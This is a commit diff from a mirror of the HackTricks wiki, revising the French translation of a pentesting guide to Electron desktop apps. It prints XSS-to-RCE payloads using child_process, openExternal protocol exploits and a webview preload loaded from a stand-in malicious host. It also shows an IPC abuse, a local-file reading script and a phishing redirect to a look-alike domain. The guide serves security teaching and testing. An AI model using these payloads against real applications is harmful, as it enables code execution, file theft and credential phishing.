mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/network-services-pentesting/pentesting-web/electron
This commit is contained in:
parent
fe001276e4
commit
5224824371
@ -1,12 +1,12 @@
|
||||
# Applications de bureau Electron
|
||||
# Electron Desktop Apps
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Introduction
|
||||
|
||||
Electron combine un backend local (avec **NodeJS**) et un frontend (**Chromium**), bien qu'il manque certains des mécanismes de sécurité des navigateurs modernes.
|
||||
Electron combine un backend local (avec **NodeJS**) et un frontend (**Chromium**), bien qu'il lui manque certains mécanismes de sécurité des navigateurs modernes.
|
||||
|
||||
En général, vous pouvez trouver le code de l'application electron à l'intérieur d'une application `.asar`, afin d'obtenir le code, vous devez l'extraire :
|
||||
Généralement, vous trouverez le code de l'application electron dans un fichier `.asar` ; pour obtenir le code, vous devez l'extraire :
|
||||
```bash
|
||||
npx asar extract app.asar destfolder #Extract everything
|
||||
npx asar extract-file app.asar main.js #Extract just a file
|
||||
@ -17,14 +17,14 @@ Dans le code source d'une application Electron, à l'intérieur de `packet.json`
|
||||
"name": "standard-notes",
|
||||
"main": "./app/index.js",
|
||||
```
|
||||
Electron a 2 types de processus :
|
||||
Electron comprend 2 types de processus :
|
||||
|
||||
- Processus Principal (a un accès complet à NodeJS)
|
||||
- Processus de Rendu (devrait avoir un accès restreint à NodeJS pour des raisons de sécurité)
|
||||
- Main Process (dispose d'un accès complet à NodeJS)
|
||||
- Renderer Process (devrait avoir un accès NodeJS restreint pour des raisons de sécurité)
|
||||
|
||||
.png>)
|
||||
|
||||
Un **processus de rendu** sera une fenêtre de navigateur chargeant un fichier :
|
||||
Un **renderer process** sera une fenêtre de navigateur chargeant un fichier :
|
||||
```javascript
|
||||
const { BrowserWindow } = require("electron")
|
||||
let win = new BrowserWindow()
|
||||
@ -32,20 +32,20 @@ let win = new BrowserWindow()
|
||||
//Open Renderer Process
|
||||
win.loadURL(`file://path/to/index.html`)
|
||||
```
|
||||
Les paramètres du **renderer process** peuvent être **configurés** dans le **main process** à l'intérieur du fichier main.js. Certaines des configurations **empêcheront l'application Electron d'obtenir RCE** ou d'autres vulnérabilités si les **paramètres sont correctement configurés**.
|
||||
Les paramètres du **processus de rendu** peuvent être **configurés** dans le **processus principal** à l'intérieur du fichier main.js. Certaines configurations permettront d'**empêcher l'application Electron d'obtenir une RCE** ou d'autres vulnérabilités si les **paramètres sont correctement configurés**.
|
||||
|
||||
L'application Electron **pourrait accéder à l'appareil** via les API Node bien qu'elle puisse être configurée pour l'en empêcher :
|
||||
L'application Electron **pourrait accéder à l'appareil** via Node apis, bien qu'il soit possible de le configurer pour l'en empêcher :
|
||||
|
||||
- **`nodeIntegration`** - est `off` par défaut. S'il est activé, permet d'accéder aux fonctionnalités Node depuis le renderer process.
|
||||
- **`contextIsolation`** - est `on` par défaut. S'il est désactivé, les processus principal et renderer ne sont pas isolés.
|
||||
- **`nodeIntegration`** - est `off` par défaut. Si `on`, permet d'accéder aux fonctionnalités de Node depuis le processus de rendu.
|
||||
- **`contextIsolation`** - est `on` par défaut. Si `off`, les processus principal et de rendu ne sont pas isolés.
|
||||
- **`preload`** - vide par défaut.
|
||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - est désactivé par défaut. Cela restreindra les actions que NodeJS peut effectuer.
|
||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - est `off` par défaut. Il restreindra les actions que NodeJS peut effectuer.
|
||||
- Intégration Node dans les Workers
|
||||
- **`nodeIntegrationInSubframes`** - est `off` par défaut.
|
||||
- Si **`nodeIntegration`** est **activé**, cela permettrait l'utilisation des **API Node.js** dans les pages web qui sont **chargées dans des iframes** au sein d'une application Electron.
|
||||
- Si **`nodeIntegration`** est **désactivé**, alors les précharges se chargeront dans l'iframe.
|
||||
- Si **`nodeIntegration`** est **activé**, cela permettrait l'utilisation des **Node.js APIs** dans des pages web qui sont **chargées dans des iframes** au sein d'une application Electron.
|
||||
- Si **`nodeIntegration`** est **désactivé**, alors les preloads se chargeront dans l'iframe
|
||||
|
||||
Exemple de configuration :
|
||||
Exemple de configuration:
|
||||
```javascript
|
||||
const mainWindowOptions = {
|
||||
title: "Discord",
|
||||
@ -71,7 +71,7 @@ spellcheck: true,
|
||||
},
|
||||
}
|
||||
```
|
||||
Quelques **payloads RCE** provenant de [ici](https://7as.es/electron/nodeIntegration_rce.txt):
|
||||
Quelques **RCE payloads** provenant de [here](https://7as.es/electron/nodeIntegration_rce.txt):
|
||||
```html
|
||||
Example Payloads (Windows):
|
||||
<img
|
||||
@ -95,23 +95,24 @@ onerror="alert(require('child_process').execSync('ls -l').toString());" />
|
||||
src="x"
|
||||
onerror="alert(require('child_process').execSync('uname -a').toString());" />
|
||||
```
|
||||
### Capture traffic
|
||||
### Capturer le trafic
|
||||
|
||||
Modifiez la configuration start-main et ajoutez l'utilisation d'un proxy tel que :
|
||||
```javascript
|
||||
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
|
||||
```
|
||||
## Injection de code local Electron
|
||||
## Electron Local Code Injection
|
||||
|
||||
Si vous pouvez exécuter localement une Electron App, il est possible que vous puissiez la faire exécuter du code javascript arbitraire. Consultez comment dans :
|
||||
|
||||
Si vous pouvez exécuter localement une application Electron, il est possible que vous puissiez faire exécuter du code javascript arbitraire. Vérifiez comment dans :
|
||||
|
||||
{{#ref}}
|
||||
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
|
||||
{{#endref}}
|
||||
|
||||
## RCE : XSS + nodeIntegration
|
||||
## RCE: XSS + nodeIntegration
|
||||
|
||||
Si le **nodeIntegration** est défini sur **on**, le JavaScript d'une page web peut utiliser facilement les fonctionnalités de Node.js simplement en appelant `require()`. Par exemple, la façon d'exécuter l'application calc sur Windows est :
|
||||
If the **nodeIntegration** is set to **on**, a web page's JavaScript can use Node.js features easily just by calling the `require()`. For example, the way to execute the calc application on Windows is:
|
||||
```html
|
||||
<script>
|
||||
require("child_process").exec("calc")
|
||||
@ -121,9 +122,9 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
|
||||
```
|
||||
<figure><img src="../../../images/image (1110).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## RCE : préchargement
|
||||
## RCE: preload
|
||||
|
||||
Le script indiqué dans ce paramètre est **chargé avant d'autres scripts dans le renderer**, donc il a **un accès illimité aux API Node** :
|
||||
Le script indiqué dans ce paramètre est c**hargé avant les autres scripts dans le renderer**, il a donc **un accès illimité aux Node APIs**:
|
||||
```javascript
|
||||
new BrowserWindow{
|
||||
webPreferences: {
|
||||
@ -132,7 +133,7 @@ preload: _path2.default.join(__dirname, 'perload.js'),
|
||||
}
|
||||
});
|
||||
```
|
||||
Par conséquent, le script peut exporter des fonctionnalités de nœud vers des pages :
|
||||
Par conséquent, le script peut exporter node-features vers des pages :
|
||||
```javascript:preload.js
|
||||
typeof require === "function"
|
||||
window.runCalc = function () {
|
||||
@ -150,34 +151,37 @@ runCalc()
|
||||
```
|
||||
> [!NOTE] > **Si `contextIsolation` est activé, cela ne fonctionnera pas**
|
||||
|
||||
## RCE : XSS + contextIsolation
|
||||
## RCE: XSS + contextIsolation
|
||||
|
||||
Le _**contextIsolation**_ introduit les **contextes séparés entre les scripts de la page web et le code interne JavaScript d'Electron** afin que l'exécution JavaScript de chaque code n'affecte pas l'autre. C'est une fonctionnalité nécessaire pour éliminer la possibilité de RCE.
|
||||
Le _**contextIsolation**_ introduit des **contextes séparés entre les scripts de la page web et le code interne JavaScript d'Electron** afin que l'exécution JavaScript de chaque code n'affecte pas l'autre. C'est une fonctionnalité nécessaire pour éliminer la possibilité de RCE.
|
||||
|
||||
Si les contextes ne sont pas isolés, un attaquant peut :
|
||||
|
||||
1. Exécuter **du JavaScript arbitraire dans le renderer** (XSS ou navigation vers des sites externes)
|
||||
2. **Écraser la méthode intégrée** qui est utilisée dans le preload ou le code interne d'Electron pour sa propre fonction
|
||||
3. **Déclencher** l'utilisation de **la fonction écrasée**
|
||||
2. **Écraser la méthode intégrée** qui est utilisée dans le preload ou le code interne d'Electron pour prendre le contrôle de la fonction
|
||||
3. **Déclencher** l'utilisation de la **fonction écrasée**
|
||||
4. RCE ?
|
||||
|
||||
Il y a 2 endroits où les méthodes intégrées peuvent être écrasées : dans le code de preload ou dans le code interne d'Electron :
|
||||
Il y a 2 endroits où des méthodes intégrées peuvent être écrasées : dans le code de preload ou dans le code interne d'Electron :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
electron-contextisolation-rce-via-preload-code.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
{{#ref}}
|
||||
electron-contextisolation-rce-via-electron-internal-code.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
{{#ref}}
|
||||
electron-contextisolation-rce-via-ipc.md
|
||||
{{#endref}}
|
||||
|
||||
### Contourner l'événement de clic
|
||||
|
||||
S'il y a des restrictions appliquées lorsque vous cliquez sur un lien, vous pourriez être en mesure de les contourner **en effectuant un clic du milieu** au lieu d'un clic gauche régulier.
|
||||
S'il existe des restrictions appliquées lorsque vous cliquez sur un lien, vous pourriez être capable de les contourner en **cliquant avec le bouton du milieu** au lieu d'un clic gauche ordinaire.
|
||||
```javascript
|
||||
window.addEventListener('click', (e) => {
|
||||
```
|
||||
@ -185,14 +189,14 @@ window.addEventListener('click', (e) => {
|
||||
|
||||
Pour plus d'informations sur ces exemples, consultez [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) et [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
||||
|
||||
Lors du déploiement d'une application de bureau Electron, il est crucial de s'assurer que les paramètres pour `nodeIntegration` et `contextIsolation` sont corrects. Il est établi que **l'exécution de code à distance côté client (RCE)** ciblant les scripts de préchargement ou le code natif d'Electron depuis le processus principal est efficacement empêchée avec ces paramètres en place.
|
||||
Lors du déploiement d'une application de bureau Electron, il est crucial de s'assurer que les paramètres `nodeIntegration` et `contextIsolation` sont correctement configurés. Il est établi que la client-side remote code execution (RCE) visant les preload scripts ou le code natif d'Electron depuis le main process est efficacement empêchée lorsque ces paramètres sont en place.
|
||||
|
||||
Lorsqu'un utilisateur interagit avec des liens ou ouvre de nouvelles fenêtres, des écouteurs d'événements spécifiques sont déclenchés, qui sont cruciaux pour la sécurité et la fonctionnalité de l'application :
|
||||
Lorsqu'un utilisateur interagit avec des liens ou ouvre de nouvelles fenêtres, des écouteurs d'événements spécifiques sont déclenchés, essentiels pour la sécurité et le fonctionnement de l'application :
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {}
|
||||
webContents.on("will-navigate", function (event, url) {}
|
||||
```
|
||||
Ces écouteurs sont **surchargés par l'application de bureau** pour mettre en œuvre sa propre **logique métier**. L'application évalue si un lien navigué doit être ouvert en interne ou dans un navigateur web externe. Cette décision est généralement prise par une fonction, `openInternally`. Si cette fonction retourne `false`, cela indique que le lien doit être ouvert à l'extérieur, en utilisant la fonction `shell.openExternal`.
|
||||
Ces listeners sont **surchargés par l'application de bureau** pour implémenter sa propre **logique métier**. L'application évalue si un lien navigué doit être ouvert en interne ou dans un navigateur web externe. Cette décision est généralement prise via une fonction, `openInternally`. Si cette fonction retourne `false`, cela indique que le lien doit être ouvert en externe, en utilisant la fonction `shell.openExternal`.
|
||||
|
||||
**Voici un pseudocode simplifié :**
|
||||
|
||||
@ -200,11 +204,11 @@ Ces écouteurs sont **surchargés par l'application de bureau** pour mettre en
|
||||
|
||||
.png>)
|
||||
|
||||
Les meilleures pratiques de sécurité d'Electron JS déconseillent d'accepter du contenu non fiable avec la fonction `openExternal`, car cela pourrait conduire à une RCE via divers protocoles. Les systèmes d'exploitation prennent en charge différents protocoles qui pourraient déclencher une RCE. Pour des exemples détaillés et des explications supplémentaires sur ce sujet, on peut se référer à [cette ressource](https://positive.security/blog/url-open-rce#windows-10-19042), qui inclut des exemples de protocoles Windows capables d'exploiter cette vulnérabilité.
|
||||
Les bonnes pratiques de sécurité d'Electron JS déconseillent d'accepter du contenu non fiable avec la fonction `openExternal`, car cela pourrait mener à des RCE via divers protocoles. Les systèmes d'exploitation prennent en charge différents protocoles qui peuvent déclencher des RCE. Pour des exemples détaillés et des explications supplémentaires sur ce sujet, on peut se référer à [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), qui inclut des exemples de protocoles Windows capables d'exploiter cette vulnérabilité.
|
||||
|
||||
Sur macOS, la fonction `openExternal` peut être exploitée pour exécuter des commandes arbitraires comme dans `shell.openExternal('file:///System/Applications/Calculator.app')`.
|
||||
Sur macos, la fonction `openExternal` peut être exploitée pour exécuter des commandes arbitraires comme dans `shell.openExternal('file:///System/Applications/Calculator.app')`.
|
||||
|
||||
**Les exemples d'exploits de protocoles Windows incluent :**
|
||||
**Exemples d'exploits de protocoles Windows incluent :**
|
||||
```html
|
||||
<script>
|
||||
window.open(
|
||||
@ -224,17 +228,17 @@ window.open(
|
||||
)
|
||||
</script>
|
||||
```
|
||||
## RCE: webviewTag + preload IPC vuln + shell.openExternal
|
||||
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
|
||||
|
||||
Cette vulnérabilité peut être trouvée dans **[ce rapport](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
|
||||
Cette vulnérabilité se trouve dans **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
|
||||
|
||||
Le **webviewTag** est une **fonctionnalité obsolète** qui permet l'utilisation de **NodeJS** dans le **processus de rendu**, ce qui devrait être désactivé car cela permet de charger un script dans le contexte de préchargement comme :
|
||||
La **webviewTag** est une **fonctionnalité obsolète** qui permet l'utilisation de **NodeJS** dans le **renderer process**, ce qui devrait être désactivé car cela permet de charger un script dans le preload context comme:
|
||||
```xml
|
||||
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
|
||||
```
|
||||
Par conséquent, un attaquant qui parvient à charger une page arbitraire pourrait utiliser cette balise pour **charger un script de préchargement arbitraire**.
|
||||
Ainsi, un attaquant qui parvient à charger une page arbitraire pourrait utiliser cette balise pour **charger un preload script arbitraire**.
|
||||
|
||||
Ce script de préchargement a ensuite été abusé pour appeler un **service IPC vulnérable (`skype-new-window`)** qui appelait **`shell.openExternal`** pour obtenir un RCE :
|
||||
Ce preload script a ensuite été abusé pour appeler un **vulnérable IPC service (`skype-new-window`)** qui appelait **`shell.openExternal`** pour obtenir RCE:
|
||||
```javascript
|
||||
(async() => {
|
||||
const { ipcRenderer } = require("electron");
|
||||
@ -247,11 +251,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
|
||||
```
|
||||
## Lecture de fichiers internes : XSS + contextIsolation
|
||||
|
||||
**Désactiver `contextIsolation` permet l'utilisation de balises `<webview>`**, similaires à `<iframe>`, pour lire et exfiltrer des fichiers locaux. Un exemple fourni démontre comment exploiter cette vulnérabilité pour lire le contenu de fichiers internes :
|
||||
**La désactivation de `contextIsolation` permet l'utilisation des balises `<webview>`**, similaires à `<iframe>`, pour lire et exfiltrer des fichiers locaux. Un exemple fourni montre comment exploiter cette vulnérabilité pour lire le contenu de fichiers internes :
|
||||
|
||||
.png>)
|
||||
|
||||
De plus, une autre méthode pour **lire un fichier interne** est partagée, mettant en évidence une vulnérabilité critique de lecture de fichiers locaux dans une application de bureau Electron. Cela implique d'injecter un script pour exploiter l'application et exfiltrer des données :
|
||||
De plus, une autre méthode pour **lire un fichier interne** est partagée, mettant en évidence une vulnérabilité critique de lecture de fichier local dans une Electron desktop app. Ceci implique l'injection d'un script pour exploiter l'application et exfiltrer des données :
|
||||
```html
|
||||
<br /><br /><br /><br />
|
||||
<h1>
|
||||
@ -267,45 +271,45 @@ frames[0].document.body.innerText
|
||||
</script>
|
||||
</h1>
|
||||
```
|
||||
## **RCE : XSS + Ancien Chromium**
|
||||
## **RCE : XSS + Chromium obsolète**
|
||||
|
||||
Si le **chromium** utilisé par l'application est **ancien** et qu'il y a des **vulnérabilités connues** dessus, il pourrait être possible de **l'exploiter et d'obtenir RCE via un XSS**.\
|
||||
Si le **chromium** utilisé par l'application est **obsolète** et qu'il existe des **vulnérabilités** **connues** le concernant, il peut être possible de **l'exploiter et d'obtenir RCE via un XSS**.\
|
||||
Vous pouvez voir un exemple dans ce **writeup** : [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
||||
|
||||
## **Phishing XSS via contournement de regex d'URL interne**
|
||||
## **XSS Phishing via Internal URL regex bypass**
|
||||
|
||||
Supposons que vous ayez trouvé un XSS mais que vous **ne puissiez pas déclencher RCE ou voler des fichiers internes**, vous pourriez essayer de l'utiliser pour **voler des identifiants via phishing**.
|
||||
Supposons que vous ayez trouvé un XSS mais que vous **ne puissiez pas déclencher RCE ou voler des fichiers internes**, vous pouvez essayer de l'utiliser pour **voler des identifiants via phishing**.
|
||||
|
||||
Tout d'abord, vous devez savoir ce qui se passe lorsque vous essayez d'ouvrir une nouvelle URL, en vérifiant le code JS dans le front-end :
|
||||
Tout d'abord, vous devez savoir ce qui se passe lorsque vous tentez d'ouvrir une nouvelle URL, en vérifiant le code JS dans le front-end :
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
||||
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
||||
```
|
||||
L'appel à **`openInternally`** décidera si le **lien** sera **ouvert** dans la **fenêtre de bureau** car c'est un lien appartenant à la plateforme, **ou** s'il sera ouvert dans le **navigateur en tant que ressource tierce**.
|
||||
L'appel à **`openInternally`** décidera si le **link** sera **ouvert** dans la **desktop window** puisqu'il s'agit d'un link appartenant à la plateforme, **ou** s'il sera ouvert dans le **browser** comme ressource tierce.
|
||||
|
||||
Dans le cas où le **regex** utilisé par la fonction est **vulnérable aux contournements** (par exemple en **ne pas échapper les points des sous-domaines**), un attaquant pourrait abuser du XSS pour **ouvrir une nouvelle fenêtre qui** sera située dans l'infrastructure de l'attaquant **demandant des identifiants** à l'utilisateur :
|
||||
Dans le cas où la **regex** utilisée par la fonction est **vulnérable aux bypasses** (par exemple en **n'échappant pas les points des sous-domaines**), un attaquant pourrait abuser du XSS pour **ouvrir une nouvelle fenêtre qui** sera située dans l'infrastructure de l'attaquant, **demandant les credentials** à l'utilisateur :
|
||||
```html
|
||||
<script>
|
||||
window.open("<http://subdomainagoogleq.com/index.html>")
|
||||
</script>
|
||||
```
|
||||
## `file://` Protocol
|
||||
## `file://` Protocole
|
||||
|
||||
Comme mentionné dans [la documentation](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols), les pages s'exécutant sur **`file://`** ont un accès unilatéral à chaque fichier sur votre machine, ce qui signifie que **les problèmes XSS peuvent être utilisés pour charger des fichiers arbitraires** depuis la machine de l'utilisateur. L'utilisation d'un **protocole personnalisé** empêche des problèmes comme celui-ci, car vous pouvez limiter le protocole à ne servir qu'un ensemble spécifique de fichiers.
|
||||
Comme mentionné dans [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) les pages exécutées sur **`file://`** ont un accès unilatéral à tous les fichiers de votre machine, ce qui signifie que **les failles XSS peuvent être utilisées pour charger des fichiers arbitraires** depuis la machine de l'utilisateur. L'utilisation d'un **protocole personnalisé** évite ce type de problème car vous pouvez limiter le protocole à ne servir qu'un ensemble spécifique de fichiers.
|
||||
|
||||
## Remote module
|
||||
|
||||
Le module Remote d'Electron permet aux **processus de rendu d'accéder aux API du processus principal**, facilitant la communication au sein d'une application Electron. Cependant, l'activation de ce module introduit des risques de sécurité significatifs. Il élargit la surface d'attaque de l'application, la rendant plus susceptible aux vulnérabilités telles que les attaques de cross-site scripting (XSS).
|
||||
Le Remote module d'Electron permet aux processus renderer d'accéder aux APIs du main process, facilitant la communication au sein d'une application Electron. Cependant, activer ce module introduit d'importants risques de sécurité. Il augmente la surface d'attaque de l'application, la rendant plus vulnérable à des vulnérabilités telles que les attaques cross-site scripting (XSS).
|
||||
|
||||
> [!TIP]
|
||||
> Bien que le module **remote** expose certaines API du principal aux processus de rendu, il n'est pas simple d'obtenir un RCE juste en abusant des composants. Cependant, les composants peuvent exposer des informations sensibles.
|
||||
> Bien que le module **remote** expose certaines APIs du main vers les renderer processes, il n'est pas simple d'obtenir une RCE uniquement en abusant des composants. Cependant, les composants peuvent exposer des informations sensibles.
|
||||
|
||||
> [!WARNING]
|
||||
> De nombreuses applications qui utilisent encore le module remote le font d'une manière qui **requiert que NodeIntegration soit activé** dans le processus de rendu, ce qui représente un **énorme risque de sécurité**.
|
||||
> Beaucoup d'apps qui utilisent encore le remote module le font d'une manière qui **exige que NodeIntegration soit activé** dans le renderer process, ce qui constitue un **énorme risque de sécurité**.
|
||||
|
||||
Depuis Electron 14, le module `remote` d'Electron peut être activé en plusieurs étapes, car pour des raisons de sécurité et de performance, il est **recommandé de ne pas l'utiliser**.
|
||||
Depuis Electron 14, le module `remote` d'Electron peut être activé de plusieurs manières, mais pour des raisons de sécurité et de performance il est **recommandé de ne pas l'utiliser**.
|
||||
|
||||
Pour l'activer, il faut d'abord **l'activer dans le processus principal** :
|
||||
Pour l'activer, il faut d'abord **l'activer dans le main process** :
|
||||
```javascript
|
||||
const remoteMain = require('@electron/remote/main')
|
||||
remoteMain.initialize()
|
||||
@ -316,37 +320,39 @@ mainWindow = new BrowserWindow({
|
||||
})
|
||||
remoteMain.enable(mainWindow.webContents)
|
||||
```
|
||||
Ensuite, le processus de rendu peut importer des objets du module comme :
|
||||
Ensuite, le processus renderer peut importer des objets depuis le module comme ceci :
|
||||
```javascript
|
||||
import { dialog, getCurrentWindow } from '@electron/remote'
|
||||
```
|
||||
Le **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** indique certaines **fonctions** intéressantes exposées par l'objet **`app`** du module distant :
|
||||
Le **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** indique quelques **fonctions** intéressantes exposées par l'objet **`app`** du module remote :
|
||||
|
||||
- **`app.relaunch([options])`**
|
||||
- **Redémarre** l'application en **quittant** l'instance actuelle et en **lancant** une nouvelle. Utile pour les **mises à jour d'applications** ou des **changements d'état** significatifs.
|
||||
- **Redémarre** l'application en **quittant** l'instance actuelle et en **lançant** une nouvelle. Utile pour les **mises à jour de l'application** ou des **changements d'état** importants.
|
||||
- **`app.setAppLogsPath([path])`**
|
||||
- **Définit** ou **crée** un répertoire pour stocker les **logs de l'application**. Les logs peuvent être **récupérés** ou **modifiés** en utilisant **`app.getPath()`** ou **`app.setPath(pathName, newPath)`**.
|
||||
- **Définit** ou **crée** un répertoire pour stocker les **logs de l'app**. Les logs peuvent être **récupérés** ou **modifiés** en utilisant **`app.getPath()`** ou **`app.setPath(pathName, newPath)`**.
|
||||
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
|
||||
- **Enregistre** l'exécutable actuel comme le **gestionnaire par défaut** pour un **protocole** spécifié. Vous pouvez fournir un **chemin personnalisé** et des **arguments** si nécessaire.
|
||||
- **Enregistre** l'exécutable courant comme le **gestionnaire par défaut** pour un **protocole** spécifié. Vous pouvez fournir un **chemin personnalisé** et des **arguments** si nécessaire.
|
||||
- **`app.setUserTasks(tasks)`**
|
||||
- **Ajoute** des tâches à la **catégorie Tâches** dans la **Jump List** (sur Windows). Chaque tâche peut contrôler comment l'application est **lancée** ou quels **arguments** sont passés.
|
||||
- **Ajoute** des tâches à la catégorie **Tasks** dans la **Jump List** (sur Windows). Chaque tâche peut contrôler comment l'app est **lancée** ou quels **arguments** sont passés.
|
||||
- **`app.importCertificate(options, callback)`**
|
||||
- **Importe** un **certificat PKCS#12** dans le **magasin de certificats** du système (Linux uniquement). Un **callback** peut être utilisé pour gérer le résultat.
|
||||
- **Importe** un **certificat PKCS#12** dans le **store de certificats** du système (Linux uniquement). Un **callback** peut être utilisé pour traiter le résultat.
|
||||
- **`app.moveToApplicationsFolder([options])`**
|
||||
- **Déplace** l'application vers le **dossier Applications** (sur macOS). Aide à garantir une **installation standard** pour les utilisateurs de Mac.
|
||||
- **Déplace** l'application vers le **dossier Applications** (sur macOS). Permet d'assurer une **installation standard** pour les utilisateurs Mac.
|
||||
- **`app.setJumpList(categories)`**
|
||||
- **Définit** ou **supprime** une **Jump List personnalisée** sur **Windows**. Vous pouvez spécifier des **catégories** pour organiser comment les tâches apparaissent à l'utilisateur.
|
||||
- **Définit** ou **supprime** une **Jump List personnalisée** sur **Windows**. Vous pouvez spécifier des **categories** pour organiser comment les tâches apparaissent à l'utilisateur.
|
||||
- **`app.setLoginItemSettings(settings)`**
|
||||
- **Configure** quels **exécutables** se lancent à la **connexion** avec leurs **options** (macOS et Windows uniquement).
|
||||
- **Configure** quels **exécutables** se lancent à la **connexion** ainsi que leurs **options** (macOS et Windows uniquement).
|
||||
|
||||
Example:
|
||||
```javascript
|
||||
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
|
||||
Native.app.exit()
|
||||
```
|
||||
## module systemPreferences
|
||||
## systemPreferences module
|
||||
|
||||
L'**API principale** pour accéder aux préférences système et **émettre des événements système** dans Electron. Des méthodes comme **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** et **setUserDefault** font toutes **partie de** ce module.
|
||||
L'**API principale** pour accéder aux préférences système et **émettre des événements système** dans Electron. Toutes ces méthodes — **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** et **setUserDefault** — font partie de ce module.
|
||||
|
||||
**Exemple d'utilisation :**
|
||||
**Exemple d'utilisation :**
|
||||
```javascript
|
||||
const { systemPreferences } = require('electron');
|
||||
|
||||
@ -361,50 +367,52 @@ console.log('Recent Places:', recentPlaces);
|
||||
```
|
||||
### **subscribeNotification / subscribeWorkspaceNotification**
|
||||
|
||||
* **Écoute** les **notifications macOS natives** en utilisant NSDistributedNotificationCenter.
|
||||
* Avant **macOS Catalina**, vous pouviez intercepter **toutes** les notifications distribuées en passant **nil** à CFNotificationCenterAddObserver.
|
||||
* Après **Catalina / Big Sur**, les applications en bac à sable peuvent toujours **s'abonner** à **de nombreux événements** (par exemple, **verrouillages/déverrouillages d'écran**, **montages de volume**, **activité réseau**, etc.) en enregistrant des notifications **par nom**.
|
||||
* **Écoute** les **notifications natives macOS** via NSDistributedNotificationCenter.
|
||||
* Avant **macOS Catalina**, on pouvait renifler **toutes** les notifications distribuées en passant **nil** à CFNotificationCenterAddObserver.
|
||||
* Après **Catalina / Big Sur**, les apps sandboxed peuvent encore **s'abonner** à **de nombreux événements** (par exemple, **verrouillage/déverrouillage d'écran**, **montage de volumes**, **activité réseau**, etc.) en enregistrant les notifications **par nom**.
|
||||
|
||||
### **getUserDefault / setUserDefault**
|
||||
|
||||
* **Interagit** avec **NSUserDefaults**, qui stocke les **préférences** d'**application** ou **globales** sur macOS.
|
||||
* **Interagit** avec **NSUserDefaults**, qui stocke les préférences **d'application** ou **globales** sur macOS.
|
||||
|
||||
* **getUserDefault** peut **récupérer** des informations sensibles, telles que **les emplacements de fichiers récents** ou **la localisation géographique de l'utilisateur**.
|
||||
|
||||
* **setUserDefault** peut **modifier** ces préférences, affectant potentiellement la **configuration** d'une application.
|
||||
|
||||
* Dans **les anciennes versions d'Electron** (avant v8.3.0), seule la **suite standard** de NSUserDefaults était **accessible**.
|
||||
* Dans les **anciennes versions d'Electron** (avant v8.3.0), seule la **suite standard** de NSUserDefaults était **accessible**.
|
||||
|
||||
## Shell.showItemInFolder
|
||||
|
||||
Cette fonction affiche le fichier donné dans un gestionnaire de fichiers, ce qui **pourrait exécuter automatiquement le fichier**.
|
||||
This function shows the given file in a file manager, which **could automatically execute the file**.
|
||||
|
||||
Pour plus d'informations, consultez [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
||||
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
||||
|
||||
## Content Security Policy
|
||||
|
||||
Les applications Electron devraient avoir une **Content Security Policy (CSP)** pour **prévenir les attaques XSS**. La **CSP** est une **norme de sécurité** qui aide à **prévenir** l'**exécution** de **code non fiable** dans le navigateur.
|
||||
Les applications Electron devraient avoir une **Content Security Policy (CSP)** pour **prévenir les attaques XSS**. La **CSP** est une **norme de sécurité** qui aide à **empêcher** l'**exécution** de **code non fiable** dans le navigateur.
|
||||
|
||||
Elle est généralement **configurée** dans le fichier **`main.js`** ou dans le modèle **`index.html`** avec la CSP à l'intérieur d'une **balise meta**.
|
||||
Elle est généralement **configurée** dans le fichier **`main.js`** ou dans le modèle **`index.html`** avec la CSP dans une **meta tag**.
|
||||
|
||||
For more information check:
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
pentesting-web/content-security-policy-csp-bypass/
|
||||
{{#endref}}
|
||||
|
||||
## **Outils**
|
||||
|
||||
- [**Electronegativity**](https://github.com/doyensec/electronegativity) est un outil pour identifier les erreurs de configuration et les anti-modèles de sécurité dans les applications basées sur Electron.
|
||||
## **Tools**
|
||||
|
||||
